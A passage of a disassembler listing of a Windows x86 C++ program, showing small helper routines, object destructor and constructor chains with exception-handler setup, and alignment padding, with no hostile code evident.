mov eax, [esp+arg_0]
add eax, 8
retn
sub_416050 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416070 proc near ; CODE XREF: sub_401E79j
mov eax, ecx
retn
sub_416070 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416090 proc near ; CODE XREF: sub_401CC6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401357
mov eax, esi
pop esi
retn 4
sub_416090 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4160C0 proc near ; CODE XREF: sub_4010DCj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4018B6
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4160C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4160F0 proc near ; CODE XREF: sub_401EA6j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4160F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416120 proc near ; CODE XREF: sub_401CFDj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4012CB
mov edi, eax
push edi
call sub_4017D5
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401DA2
sub_416120 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4017D5
push edi
mov [eax], ebx
call sub_4017D5
mov edi, [eax]
push edi
call sub_4017D5
mov ecx, [eax]
push ecx
call sub_401BB8
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4017DA
add esp, 4
mov ecx, esi
push eax
call sub_401DFC
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401D66
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4161C0 proc near ; CODE XREF: sub_401078j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401EA1
mov ecx, eax
call sub_4012CB
mov esi, eax
push esi
call sub_401BB8
push esi
mov ebx, eax
call sub_4017D5
mov ecx, [eax]
push ecx
call sub_401BB8
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4017D5
push esi
mov ebx, eax
call sub_401BB8
mov eax, [eax]
push eax
call sub_4017D5
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4017DA
add esp, 1Ch
mov ecx, edi
push eax
call sub_4013F7
push esi
mov ecx, edi
call sub_401EF6
sub_4161C0 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416280 proc near ; CODE XREF: sub_401401j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jz short loc_4162DA
loc_416298: ; CODE XREF: sub_416280+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401EA1
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jnz short loc_416298
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4162DA: ; CODE XREF: sub_416280+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_416280 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416310 proc near ; CODE XREF: sub_401DA2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401E9C
sub_416310 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_416325
mov edi, esi
loc_416325: ; CODE XREF: ___:00416321j
push esi
call sub_401BB8
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_41633A
mov edi, esi
loc_41633A: ; CODE XREF: ___:00416336j
push esi
call sub_4017D5
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416360 proc near ; CODE XREF: sub_401EF6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401857
sub_416360 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416380 proc near ; CODE XREF: sub_401BB8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416380 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163A0 proc near ; CODE XREF: sub_4017DAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4163A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163C0 proc near ; CODE XREF: sub_401E29j
mov eax, ecx
retn
sub_4163C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163E0 proc near ; CODE XREF: sub_401D66j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40160E
mov eax, esi
pop esi
retn 4
sub_4163E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416410 proc near ; CODE XREF: sub_401EA1j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40118B
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_416410 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416440 proc near ; CODE XREF: sub_40144Cj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_416440 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416470 proc near ; CODE XREF: sub_401104j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_416470 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416490 proc near ; CODE XREF: sub_4020D6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_416490 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4164C0 proc near ; CODE XREF: sub_401E01j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_4164C0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164E0 proc near ; CODE XREF: sub_402194j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40125D
add esp, 8
retn 8
sub_4164E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416510 proc near ; CODE XREF: sub_4014F6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_6
pop ecx
retn 4
sub_416510 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416530 proc near ; CODE XREF: sub_401753j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_416530 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416550 proc near ; CODE XREF: sub_401A4Bj
mov eax, [ecx]
push eax
call sub_401EFB
add esp, 4
retn
sub_416550 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416570 proc near ; CODE XREF: sub_4020EFj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40208B
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_416570 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165A0 proc near ; CODE XREF: sub_401CA8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401E56
neg al
sbb eax, eax
inc eax
retn 4
sub_4165A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165D0 proc near ; CODE XREF: sub_401C4Ej
mov eax, [ecx]
retn
sub_4165D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165F0 proc near ; CODE XREF: sub_401163j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4165F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416610 proc near ; CODE XREF: sub_4015A5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_416610 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416640 proc near ; CODE XREF: sub_4010D7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_416640 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416660 proc near ; CODE XREF: sub_4015E6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_402040
add esp, 8
retn 8
sub_416660 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416690 proc near ; CODE XREF: sub_401D4Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_5
pop ecx
retn 4
sub_416690 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166B0 proc near ; CODE XREF: sub_401357j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4166B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166D0 proc near ; CODE XREF: sub_401F6Ej
mov eax, [ecx]
retn
sub_4166D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166F0 proc near ; CODE XREF: sub_4017D5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4166F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416710 proc near ; CODE XREF: sub_401E9Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_416710 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416740 proc near ; CODE XREF: sub_401857j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_416740 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416760 proc near ; CODE XREF: sub_401DFCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4020CC
add esp, 8
retn 8
sub_416760 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416790 proc near ; CODE XREF: sub_4013F7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_3
pop ecx
retn 4
sub_416790 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167B0 proc near ; CODE XREF: sub_40160Ej
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4167B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167D0 proc near ; CODE XREF: sub_4012CBj
mov eax, [ecx]
retn
sub_4167D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167F0 proc near ; CODE XREF: sub_401E56j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4167F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416820 proc near ; CODE XREF: sub_40125Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41683B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41683B: ; CODE XREF: sub_416820+11j
retn
sub_416820 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416870 proc near ; CODE XREF: sub_402040j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41688B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41688B: ; CODE XREF: sub_416870+11j
retn
sub_416870 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168C0 proc near ; CODE XREF: sub_4020CCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_4168DB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_4168DB: ; CODE XREF: sub_4168C0+11j
retn
sub_4168C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
align 4
dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447158B9h
dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
dd 447158B9h, 0B2CAE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_416990: ; CODE XREF: ___:00401C44j
push 0FFFFFFFFh
push offset loc_439FE1
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+9FD83h]
mov dword ptr [esp+10h], 1Ah
call sub_4021DA
; ---------------------------------------------------------------------------
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+10h], 19h
call sub_401226
lea ecx, [esi+9FD57h]
mov byte ptr [esp+10h], 18h
call sub_401226
lea ecx, [esi+9FD42h]
mov byte ptr [esp+10h], 17h
call sub_401226
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+10h], 16h
call sub_401226
lea ecx, [esi+9FC42h]
mov byte ptr [esp+10h], 15h
call sub_401EE2
lea ecx, [esi+9FC31h]
mov byte ptr [esp+10h], 14h
call sub_40176C
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+10h], 13h
call sub_401FF5
lea ecx, [esi+9FBCDh]
mov byte ptr [esp+10h], 12h
call sub_401DED
lea ecx, [esi+9FB93h]
mov byte ptr [esp+10h], 11h
call sub_40187A
lea ecx, [esi+9FB05h]
mov byte ptr [esp+10h], 10h
call sub_401113
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+10h], 0Fh
call sub_401F28
lea ecx, [esi+9FA73h]
mov byte ptr [esp+10h], 0Eh
call sub_401B27
lea ecx, [esi+9FA13h]
mov byte ptr [esp+10h], 0Dh
call sub_4017D0
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+10h], 0Ch
call sub_4018CA
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+10h], 0Bh
call sub_401EB0
lea ecx, [esi+8F285h]
mov byte ptr [esp+10h], 0Ah
call sub_402216
lea ecx, [esi+8F270h]
mov byte ptr [esp+10h], 9
call sub_4017A3
lea ecx, [esi+8F247h]
mov byte ptr [esp+10h], 8
call sub_401A23
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+10h], 7
call sub_4013C0
; ---------------------------------------------------------------------------
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+10h], 6
call sub_401235
lea ecx, [esi+1D29h]
mov byte ptr [esp+10h], 5
call sub_401E83
lea ecx, [esi+1C58h]
mov byte ptr [esp+10h], 4
call sub_4014F1
lea ecx, [esi+1BBEh]
mov byte ptr [esp+10h], 3
call sub_401AE6
; ---------------------------------------------------------------------------
lea ecx, [esi+1B46h]
mov byte ptr [esp+10h], 2
call sub_401C8F
; ---------------------------------------------------------------------------
lea ecx, [esi+15Fh]
mov byte ptr [esp+10h], 1
call sub_401929
lea ecx, [esi+3Eh]
mov byte ptr [esp+10h], 0
call sub_40143D
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401262
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416C00 proc near ; CODE XREF: sub_401A23j
push esi
mov esi, ecx
mov eax, [esi+15h]
mov dword ptr [esi], offset off_43E050
test eax, eax
jle short loc_416C17
push eax
call near ptr 71AB9639h
nop
loc_416C17: ; CODE XREF: sub_416C00+Ej
mov ecx, esi
call sub_402031
pop esi
retn
sub_416C00 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416C30 proc near ; CODE XREF: ___:0040126Cj sub_4019BFj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A23
test [esp+4+arg_0], 1
jz short loc_416C48
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_416C48: ; CODE XREF: sub_416C30+Dj
mov eax, esi
pop esi
retn 4
sub_416C30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416C60 proc near ; CODE XREF: sub_4017A3j
push esi
mov esi, ecx
mov eax, [esi+11h]
mov dword ptr [esi], offset off_43E05C
test eax, eax
jle short loc_416C77
push eax
nop
call near ptr 71AB9639h
loc_416C77: ; CODE XREF: sub_416C60+Ej
mov ecx, esi
call sub_402031
pop esi
retn
sub_416C60 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416C90: ; CODE XREF: ___:00401627j
; ___:loc_401C99j
push esi
mov esi, ecx
call sub_4017A3
test byte ptr [esp+8], 1
jz short loc_416CA8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_416CA8: ; CODE XREF: ___:00416C9Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416CC0 proc near ; CODE XREF: sub_40176Cj
mov dword ptr [ecx], offset off_43E068
jmp sub_402031
sub_416CC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416CE0: ; CODE XREF: ___:loc_40191Aj
; ___:0040218Aj
push esi
mov esi, ecx
call sub_40176C
test byte ptr [esp+8], 1
jz short loc_416CF8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_416CF8: ; CODE XREF: ___:00416CEDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D10 proc near ; CODE XREF: sub_40187Aj
mov dword ptr [ecx], offset off_43E074
add ecx, 4
jmp sub_401023
sub_416D10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416D30: ; CODE XREF: ___:00401E42j
push 0FFFFFFFFh
push offset loc_43A1C1
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+8], esi
call sub_40209F
; ---------------------------------------------------------------------------
lea ecx, [esi+3Eh]
mov dword ptr [esp+14h], 0
call sub_4015DC
lea ecx, [esi+15Fh]
mov byte ptr [esp+14h], 1
call sub_40129E
lea ecx, [esi+1B46h]
mov byte ptr [esp+14h], 2
call sub_401FFA
; ---------------------------------------------------------------------------
lea ecx, [esi+1BBEh]
mov byte ptr [esp+14h], 3
call sub_4019F1
; ---------------------------------------------------------------------------
lea ecx, [esi+1C58h]
mov byte ptr [esp+14h], 4
call sub_40157D
lea ecx, [esi+1D29h]
mov byte ptr [esp+14h], 5
call sub_401645
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+14h], 6
call sub_401776
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+14h], 7
call sub_401695
lea ecx, [esi+8F247h]
mov byte ptr [esp+14h], 8
call sub_401820
lea ecx, [esi+8F270h]
mov byte ptr [esp+14h], 9
call sub_4016B3
lea ecx, [esi+8F285h]
mov byte ptr [esp+14h], 0Ah
call sub_401415
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+14h], 0Bh
call sub_401302
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+14h], 0Ch
call sub_401271
lea ecx, [esi+8F51Fh]
mov byte ptr [esp+14h], 0Dh
call sub_401D11
lea ecx, [esi+9FA13h]
call sub_4012FD
lea ecx, [esi+9FA73h]
mov byte ptr [esp+14h], 0Eh
call sub_401A7D
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+14h], 0Fh
call sub_401285
lea ecx, [esi+9FB05h]
mov byte ptr [esp+14h], 10h
call sub_401CA3
lea ecx, [esi+9FB93h]
mov byte ptr [esp+14h], 11h
call sub_402103
; ---------------------------------------------------------------------------
mov byte ptr [esp+14h], 12h
lea ecx, [esi+9FBCDh]
call sub_401573
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+14h], 13h
call sub_40178F
lea ecx, [esi+9FC31h]
mov byte ptr [esp+14h], 14h
call sub_401069
lea ecx, [esi+9FC42h]
mov byte ptr [esp+14h], 15h
call sub_401073
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+14h], 16h
call sub_401424
lea ecx, [esi+9FD42h]
mov byte ptr [esp+14h], 17h
call sub_401424
lea ecx, [esi+9FD57h]
mov byte ptr [esp+14h], 18h
call sub_401424
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+14h], 19h
call sub_401424
lea eax, [esp+7]
lea ecx, [esi+9FD83h]
push eax
mov byte ptr [esp+18h], 1Ah
call sub_401AFA
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416FB0 proc near ; CODE XREF: sub_401262j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_416FB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401B09
sub_416FB0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417020 proc near ; CODE XREF: sub_401929j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417020
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+179Fh]
mov [esp+14h+var_4], 3Ch
call sub_40206D
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_40206D
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_40206D
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_40206D
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_40206D
mov byte ptr [esp+14h+var_4], 37h
lea ecx, [esi+0E51h]
call sub_401023
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401023
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401023
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401023
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401023
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401023
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401023
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401023
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401023
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401023
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401023
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401023
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401023
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401023
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401023
lea ecx, [esi+0B9Fh]
